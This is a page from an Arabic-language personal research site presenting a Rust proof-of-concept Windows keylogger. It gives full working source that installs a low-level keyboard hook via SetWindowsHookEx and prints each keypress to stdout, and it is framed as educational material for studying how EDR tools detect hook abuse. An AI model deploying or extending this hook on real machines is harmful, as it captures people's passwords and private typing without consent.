الانتقال إلى المحتوى الرئيسي
رؤوفResearchOS
العربية
سيدني، أسترالياالوقت الحالي في سيدني—
اضغط Escape لإغلاق هذه النافذة.
إثبات مفهوم لتسجيل ضغطات المفاتيح باستخدام Rust

معرف التجربة: 001

إثبات مفهوم لتسجيل ضغطات المفاتيح باستخدام Rust

مؤرشف

نموذج تعليمي لتسجيل ضغطات المفاتيح على Windows يوضح استخدام SetWindowsHookEx وتسلسل الخطافات الصحيح لتحليل أساليب الكشف.

الهدف

فهم إساءة استخدام خطافات رسائل Windows لاعتراض بيانات الدخول وكيف تكشف أنظمة EDR حقن الخطافات.

القيود

للتعليم فقط. لا يستمر بعد إعادة التشغيل، ويسجّل المخرجات في stdout فقط.

  • Rust
  • WinAPI
  • Unsafe
الكود المصدري · اللغة الأصليةsrc/main.rs
1use std::ptr;2use winapi::shared::minwindef::{LPARAM, LRESULT, WPARAM};3use winapi::shared::windef::HHOOK;4use winapi::um::winuser::{5    CallNextHookEx, DispatchMessageW, GetMessageW, SetWindowsHookExW,6    TranslateMessage, UnhookWindowsHookEx, WH_KEYBOARD_LL, KBDLLHOOKSTRUCT,7};89static mut HOOK: HHOOK = ptr::null_mut();1011unsafe extern "system" fn keyboard_proc(12    n_code: i32,13    w_param: WPARAM,14    l_param: LPARAM,15) -> LRESULT {16    if n_code >= 0 {17        let kb = &*(l_param as *const KBDLLHOOKSTRUCT);18        // WM_KEYDOWN = 0x010019        if w_param as u32 == 0x0100 {20            println!("[KEY] vkCode={:03} scanCode={:#06x}", kb.vkCode, kb.scanCode);21        }22    }23    CallNextHookEx(HOOK, n_code, w_param, l_param)24}2526fn main() {27    unsafe {28        HOOK = SetWindowsHookExW(WH_KEYBOARD_LL, Some(keyboard_proc), ptr::null_mut(), 0);29        assert!(!HOOK.is_null(), "Failed to install hook");3031        let mut msg = std::mem::zeroed();32        while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) > 0 {33            TranslateMessage(&msg);34            DispatchMessageW(&msg);35        }36        UnhookWindowsHookEx(HOOK);37    }38}
شفرة للقراءة فقطUTF-8

بحث

اعثر على مشروع أو ورقة أو مقال أو صفحة.

٣٠ / ٤١ · نتائج البحث

↑ ↓ التنقل في مساحة العملEnter فتحEsc إغلاق